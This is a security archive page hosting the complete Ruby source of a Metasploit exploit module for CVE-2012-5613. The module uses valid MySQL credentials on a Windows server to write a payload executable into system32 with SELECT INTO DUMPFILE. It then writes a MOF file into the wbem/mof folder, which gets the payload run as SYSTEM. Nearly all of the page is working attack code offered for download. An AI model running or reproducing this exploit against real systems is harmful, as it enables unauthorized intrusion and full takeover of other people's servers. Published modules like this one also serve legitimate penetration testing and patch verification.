exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle MySQL For Microsoft Windows MOF Execution

Oracle MySQL For Microsoft Windows MOF Execution
Posted Dec 7, 2012
Authored by Kingcope, sinn3r | Site metasploit.com

This Metasploit modules takes advantage of a file privilege misconfiguration problem specifically against Windows MySQL servers (due to the use of a .mof file). This may result in arbitrary code execution under the context of SYSTEM. However, please note in order to use this module, you must have a valid MySQL account on the target machine.

tags | exploit, arbitrary, code execution
systems | windows
advisories | CVE-2012-5613
SHA-256 | 4bdddccff72e6f861ece38c09f5e2d07982390d9788ff9574617a88479fcf1dc

Oracle MySQL For Microsoft Windows MOF Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::WbemExec
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',
'Description' => %q{
This modules takes advantage of a file privilege misconfiguration problem
specifically against Windows MySQL servers (due to the use of a .mof file).
This may result in arbitrary code execution under the context of SYSTEM. However,
please note in order to use this module, you must have a valid MySQL account on
the target machine.
},
'Author' =>
[
'kingcope',
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-5613'], #DISPUTED
['EDB', '23083'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
],
'Platform' => 'win',
'Targets' =>
[
[ 'MySQL on Windows', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 01 2012'
))

register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
])
end

def check
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue RbMysql::AccessDeniedError
print_error("#{peer} - Access denied.")
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Appears if is_windows?
return Exploit::CheckCode::Safe
end

def peer
"#{rhost}:#{rport}"
end

def query(q)
rows = []

begin
res = mysql_query(q)
return rows if not res
res.each_hash do |row|
rows << row
end
rescue RbMysql::ParseError
return rows
end

return rows
end

def is_windows?
r = query("SELECT @@version_compile_os;")
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
end

def get_drive_letter
r = query("SELECT @@tmpdir;")
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
return drive
end

def upload_file(bin, dest)
p = bin.unpack("H*")[0]
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
end

def exploit
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
return if not m
rescue RbMysql::AccessDeniedError
print_error("#{peer} - Access denied.")
return
end

if not is_windows?
print_error("#{peer} - Remote host isn't Windows.")
return
end

drive = get_drive_letter
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
dest = "#{drive}:/windows/system32/#{exe_name}"
exe = generate_payload_exe
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(exe, dest)
register_file_for_cleanup("#{exe_name}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. I blame kc :-)")
return
end

mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
mof = generate_mof(mof_name, exe_name)
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(mof, dest)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. Bail!")
return
end
end

end
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close